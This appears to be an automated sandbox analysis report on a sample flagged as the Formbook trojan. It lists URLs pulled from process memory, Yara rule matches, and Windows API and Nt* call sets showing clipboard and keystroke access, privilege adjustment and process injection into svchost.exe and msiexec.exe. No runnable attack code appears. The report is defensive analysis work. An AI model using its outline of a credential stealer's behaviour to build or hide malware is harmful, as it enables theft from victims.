Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://gcdnb.pbrd.co/images/qYol8RtBBg8K.jpg?o=1
Source: msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gemini.google.com/app?q=
Source: msiexec.exe, 00000003.00000003.4989236920.0000000003356000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4994416168.0000000003372000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4989398688.0000000003372000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4992897675.0000000003372000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.8169483298.0000000003372000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: msiexec.exe, 00000003.00000003.4989236920.0000000003356000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4994416168.0000000003372000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4989398688.0000000003372000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4992897675.0000000003372000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.8169483298.0000000003372000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com//
Source: msiexec.exe, 00000003.00000003.4989236920.0000000003356000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4994416168.0000000003372000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4989398688.0000000003372000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4992897675.0000000003372000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000002.8169483298.0000000003372000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/v104
Source: msiexec.exe, 00000003.00000002.8169483298.0000000003312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrd?lcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=1
Source: msiexec.exe, 00000003.00000002.8169483298.0000000003312000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdlcid=1033&syslcid=2057&uilcid=1033&app=1&ver=16&build=16
Source: msiexec.exe, 00000003.00000003.4988294934.0000000008206000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://odc.officeapps.live.com/odc/v2.1/hrdres://C:
Source: firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://practicaldev-herokuapp-com.freetls.fastly.net/assets/devlogo-pwa-512.png
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/practicaldev/image/fetch/s--2ecYCSjC--/c_limit
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/practicaldev/image/fetch/s--E8ak4Hr1--/c_limit
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/practicaldev/image/fetch/s--KfIJiWl4--/c_imagga_scale
Source: firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/practicaldev/image/fetch/s--gDM0_LTS--/c_limit
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/practicaldev/image/fetch/s--l0c3Kmql--/c_limit
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/practicaldev/image/fetch/s--lrmEcD2H--/c_limit
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://res.cloudinary.com/practicaldev/image/fetch/s--t7tVouP9--/c_limit
Source: msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4999748750.0000000008296000.00000004.00000020.00020000.00000000.sdmp, -f1ZI14.3.dr	String found in binary or memory: https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search
Source: msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000003.00000003.4999748750.0000000008296000.00000004.00000020.00020000.00000000.sdmp, -f1ZI14.3.dr	String found in binary or memory: https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://unpkg.com/flickity
Source: msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: msiexec.exe, 00000003.00000003.4995883349.000000000822B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_alldp.ico
Source: msiexec.exe, 00000003.00000003.4999748750.0000000008296000.00000004.00000020.00020000.00000000.sdmp, -f1ZI14.3.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-73FPR0H3RW
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=G-DYHRKHR3DQ
Source: firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/amp
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/favicon.ico
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/feed/rss
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/js/global.js
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/sitemap.xml
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/themes/rtp/css/custom.css
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/themes/rtp/css/font.css
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/themes/rtp/css/style_v3.css
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/themes/rtp/css/styleslot.css
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/themes/rtp/genericons/genericons.css
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/themes/rtp/js/functions.js
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/themes/rtp/js/jquery-migrate.js
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/themes/rtp/js/jquery.js
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/themes/rtp/js/skip-link-focus-fix.js
Source: BlltrVxNMs.exe, 00000002.00000002.9389382295.0000000005B74000.00000004.80000000.00040000.00000000.sdmp, msiexec.exe, 00000003.00000002.8171535667.0000000005C34000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 00000004.00000002.5103228729.0000000029CD4000.00000004.80000000.00040000.00000000.sdmp	String found in binary or memory: https://www.nagasl89.baby/themes/twentyfifteen/js/html5.js

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046C5D0

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

0_2_00459FFF

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,

0_2_0046C5D0

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,

0_2_00456354

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,

0_2_0047C08E

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.4812307431.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.8170544463.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.9380185277.00000000015B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.9381714381.00000000050A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4813936087.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.8170470399.0000000004F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4815096590.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: 1.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 1.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.4812307431.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.8170544463.0000000004FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.9380185277.00000000015B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000002.00000002.9381714381.00000000050A0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.4813936087.0000000003350000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.8170470399.0000000004F90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000001.00000002.4815096590.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042C3A3 NtClose,	1_2_0042C3A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472A80 NtClose,LdrInitializeThunk,	1_2_03472A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472D10 NtQuerySystemInformation,LdrInitializeThunk,	1_2_03472D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034734E0 NtCreateMutant,LdrInitializeThunk,	1_2_034734E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03474260 NtSetContextThread,	1_2_03474260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03474570 NtSuspendThread,	1_2_03474570
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472B00 NtQueryValueKey,	1_2_03472B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472B10 NtAllocateVirtualMemory,	1_2_03472B10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472B20 NtQueryInformationProcess,	1_2_03472B20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472BC0 NtQueryInformationToken,	1_2_03472BC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472BE0 NtQueryVirtualMemory,	1_2_03472BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472B80 NtCreateKey,	1_2_03472B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472B90 NtFreeVirtualMemory,	1_2_03472B90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472A10 NtWriteFile,	1_2_03472A10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472AC0 NtEnumerateValueKey,	1_2_03472AC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472AA0 NtQueryInformationFile,	1_2_03472AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034729D0 NtWaitForSingleObject,	1_2_034729D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034729F0 NtReadFile,	1_2_034729F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472F00 NtCreateFile,	1_2_03472F00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472F30 NtOpenDirectoryObject,	1_2_03472F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472FB0 NtSetValueKey,	1_2_03472FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472E50 NtCreateSection,	1_2_03472E50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472E00 NtQueueApcThread,	1_2_03472E00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472EC0 NtQuerySection,	1_2_03472EC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472ED0 NtResumeThread,	1_2_03472ED0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472E80 NtCreateProcessEx,	1_2_03472E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472EB0 NtProtectVirtualMemory,	1_2_03472EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472D50 NtWriteVirtualMemory,	1_2_03472D50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472DC0 NtAdjustPrivilegesToken,	1_2_03472DC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472DA0 NtReadVirtualMemory,	1_2_03472DA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472C50 NtUnmapViewOfSection,	1_2_03472C50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472C10 NtOpenProcess,	1_2_03472C10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472C20 NtSetInformationFile,	1_2_03472C20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472C30 NtMapViewOfSection,	1_2_03472C30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472CD0 NtEnumerateKey,	1_2_03472CD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03472CF0 NtDelayExecution,	1_2_03472CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_034738D0 NtGetContextThread,	1_2_034738D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03473C30 NtOpenProcessToken,	1_2_03473C30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03473C90 NtOpenThread,	1_2_03473C90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E4570 NtSuspendThread,LdrInitializeThunk,	3_2_051E4570
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E4260 NtSetContextThread,LdrInitializeThunk,	3_2_051E4260
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2D10 NtQuerySystemInformation,LdrInitializeThunk,	3_2_051E2D10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2C30 NtMapViewOfSection,LdrInitializeThunk,	3_2_051E2C30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2C50 NtUnmapViewOfSection,LdrInitializeThunk,	3_2_051E2C50
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2CF0 NtDelayExecution,LdrInitializeThunk,	3_2_051E2CF0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2F00 NtCreateFile,LdrInitializeThunk,	3_2_051E2F00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2E00 NtQueueApcThread,LdrInitializeThunk,	3_2_051E2E00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2E50 NtCreateSection,LdrInitializeThunk,	3_2_051E2E50
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2ED0 NtResumeThread,LdrInitializeThunk,	3_2_051E2ED0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E29F0 NtReadFile,LdrInitializeThunk,	3_2_051E29F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2B90 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_051E2B90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2B80 NtCreateKey,LdrInitializeThunk,	3_2_051E2B80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2BC0 NtQueryInformationToken,LdrInitializeThunk,	3_2_051E2BC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2A10 NtWriteFile,LdrInitializeThunk,	3_2_051E2A10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2A80 NtClose,LdrInitializeThunk,	3_2_051E2A80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E34E0 NtCreateMutant,LdrInitializeThunk,	3_2_051E34E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E38D0 NtGetContextThread,LdrInitializeThunk,	3_2_051E38D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2D50 NtWriteVirtualMemory,	3_2_051E2D50
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2DA0 NtReadVirtualMemory,	3_2_051E2DA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2DC0 NtAdjustPrivilegesToken,	3_2_051E2DC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2C10 NtOpenProcess,	3_2_051E2C10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2C20 NtSetInformationFile,	3_2_051E2C20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2CD0 NtEnumerateKey,	3_2_051E2CD0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2F30 NtOpenDirectoryObject,	3_2_051E2F30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2FB0 NtSetValueKey,	3_2_051E2FB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2E80 NtCreateProcessEx,	3_2_051E2E80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2EB0 NtProtectVirtualMemory,	3_2_051E2EB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2EC0 NtQuerySection,	3_2_051E2EC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E29D0 NtWaitForSingleObject,	3_2_051E29D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2B10 NtAllocateVirtualMemory,	3_2_051E2B10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2B00 NtQueryValueKey,	3_2_051E2B00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2B20 NtQueryInformationProcess,	3_2_051E2B20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2BE0 NtQueryVirtualMemory,	3_2_051E2BE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2AA0 NtQueryInformationFile,	3_2_051E2AA0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E2AC0 NtEnumerateValueKey,	3_2_051E2AC0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E3C30 NtOpenProcessToken,	3_2_051E3C30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_051E3C90 NtOpenThread,	3_2_051E3C90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 3_2_054CEEFE NtQueryInformationProcess,	3_2_054CEEFE

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_00434D50: GetFullPathNameW,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

0_2_00434D50

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_004461ED DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_004461ED

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe

Code function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,

0_2_004364AA

Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00409A40	0_2_00409A40
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00412038	0_2_00412038
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00427161	0_2_00427161
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_0047E1FA	0_2_0047E1FA
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_004212BE	0_2_004212BE
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00443390	0_2_00443390
Source: C:\Users\user\Desktop\p4rsJEIb7k.exe	Code function: 0_2_00443391	0_2_00443391
